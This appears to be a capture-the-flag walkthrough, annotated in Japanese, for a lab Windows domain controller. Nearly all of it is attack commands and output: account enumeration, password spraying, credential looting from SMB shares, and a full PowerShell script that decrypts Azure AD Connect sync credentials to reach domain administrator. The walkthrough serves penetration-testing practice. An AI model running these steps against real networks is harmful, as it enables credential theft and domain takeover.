nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,3389,1433 10.129.55.243

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: Host: MONTEVERDE; OS: Windows

ldapsearch -x -H ldap://10.129.55.243 -b "DC=megabank,DC=local" \
  "(&(objectClass=user)(objectCategory=person))" sAMAccountName

sAMAccountName: mhope
sAMAccountName: SABatchJobs
sAMAccountName: svc-ata
sAMAccountName: svc-bexec
sAMAccountName: svc-netapp
sAMAccountName: dgalanos
sAMAccountName: roleary
sAMAccountName: smorgan

enum4linux -a 10.129.55.243 | grep -i lockout

[+] Minimum password length: 7
[+] Account Lockout Threshold: None

「ユーザー名自体をパスワードとして設定してしまう」という運用上よくあるミスを
狙い、統計的な弱いパスワード候補集合に加えて、列挙した各ユーザー名自身も
パスワード候補として試行する(username-as-password攻撃)。

netexec smb 10.129.55.243 -d megabank \
  -u users.txt -p passwords.txt

SMB   10.129.55.243   445   MONTEVERDE   [+] megabank\SABatchJobs:SABatchJobs

smbmap -u SABatchJobs -p SABatchJobs -d megabank -H 10.129.55.243 \
  -A '(xlsx|docx|txt|xml)' -r --depth 5

[*] Performing file name pattern match!
[+] Match found! Downloading: users$/mhope/azure.xml
[+] Starting download: users$\mhope\azure.xml (1212 bytes)
[+] File output to: ./10.129.55.243-users_mhope_azure.xml

cat 10.129.55.243-users_mhope_azure.xml

<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
...
<S N="Password">4n0therD4y@n0th3r$</S>

evil-winrm -i 10.129.55.243 -u 'mhope' -p '4n0therD4y@n0th3r$'

*Evil-WinRM* PS C:\Users\mhope\Documents> type C:\Users\mhope\Desktop\user.txt
6cc8362c8c6039840e06f5e81896c894

このDCには本来推奨されないカスタムインストールとして、フルSQL Server上で
Azure AD Connect (旧称 DirSync/AAD Sync) が稼働している。Azure AD Connectは
オンプレADとAzure AD (Entra ID) のディレクトリ同期を担うコンポーネントで、
同期処理に使う特権アカウント(既定では"ADSync"サービスアカウント、しばしば
ドメイン管理者相当かそれに準ずる強い権限を持つ)の認証情報を、自身の設定
データベース(既定インスタンス名"ADSync")内に暗号化した状態で保持している。

*Evil-WinRM* PS> sqlcmd -S MONTEVERDE -Q "use ADSync; select instance_id,keyset_id,entropy from mms_server_configuration"

Changed database context to 'ADSync'.
instance_id                          keyset_id   entropy
------------------------------------ ----------- ------------------------------------
1852B527-DD4F-4ECF-B541-EFCCBFF29E31           1 194EC2FC-F186-46CF-B44D-071EB61F49CD

Azure AD Connectが同期用アカウント(既定でドメイン管理者権限相当)の資格情報を
どう保護しているかはセキュリティリサーチャー@_xpn_によって詳細に解析されている。
要点は次の通り:

1. Azure AD Connectのインストールディレクトリに存在する
   "Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager"
   クラス(mcrypt.dll内)が、DBに保存されたentropy/instance_idからDPAPIの
   鍵セットを復元できる。
2. ADSync DBの mms_management_agent テーブルの private_configuration_xml /
   encrypted_configuration カラム(WHERE ma_type = 'AD' の行)に、
   オンプレADへの書き込みに使う特権アカウントの暗号化済み資格情報が
   XML形式で格納されている。
3. KeyManagerでロードした鍵を使い、この暗号文をBase64デコード→復号すると、
   ドメイン/ユーザー名/パスワードが平文のXMLとして得られる。

この処理はPowerShellから.NETアセンブリを直接ロードして実行できる
(GetADConnectPasswordというワンライナー関数として広く公開されている手法)。

Function Get-ADConnectPassword{
    $key_id = 1
    $instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
    $entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"

    $client = new-object System.Data.SqlClient.SqlConnection `
        -ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
    $client.Open()
    $cmd = $client.CreateCommand()
    $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration " +
        "FROM mms_management_agent WHERE ma_type = 'AD'"
    $reader = $cmd.ExecuteReader()
    $reader.Read() | Out-Null
    $config    = $reader.GetString(0)
    $crypted   = $reader.GetString(1)
    $reader.Close()

    add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
    $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
    $km.LoadKeySet($entropy, $instance_id, $key_id)
    $key = $null
    $km.GetActiveCredentialKey([ref]$key)
    $key2 = $null
    $km.GetKey(1, [ref]$key2)
    $decrypted = $null
    $key2.DecryptBase64ToString($crypted, [ref]$decrypted)

    $domain   = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" |
                select @{Name='Domain'; Expression={$_.node.InnerXML}}
    $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" |
                select @{Name='Username'; Expression={$_.node.InnerXML}}
    $password = select-xml -Content $decrypted -XPath "//attribute" |
                select @{Name='Password'; Expression={$_.node.InnerXML}}

    Write-Host ("Domain: "   + $domain.Domain)
    Write-Host ("Username: " + $username.Username)
    Write-Host ("Password: " + $password.Password)
}
Get-ADConnectPassword

# PowerShellスクリプトをUTF-16LE base64エンコードして送信
netexec winrm 10.129.55.243 -u mhope -p '4n0therD4y@n0th3r$' \
  -X powershell -NoProfile -EncodedCommand <base64エンコード済みスクリプト>

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

evil-winrm -i 10.129.55.243 -u 'administrator' -p 'd0m@in4dminyeah!'
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt

aa8e096045e8631e7e43ecd35499a89b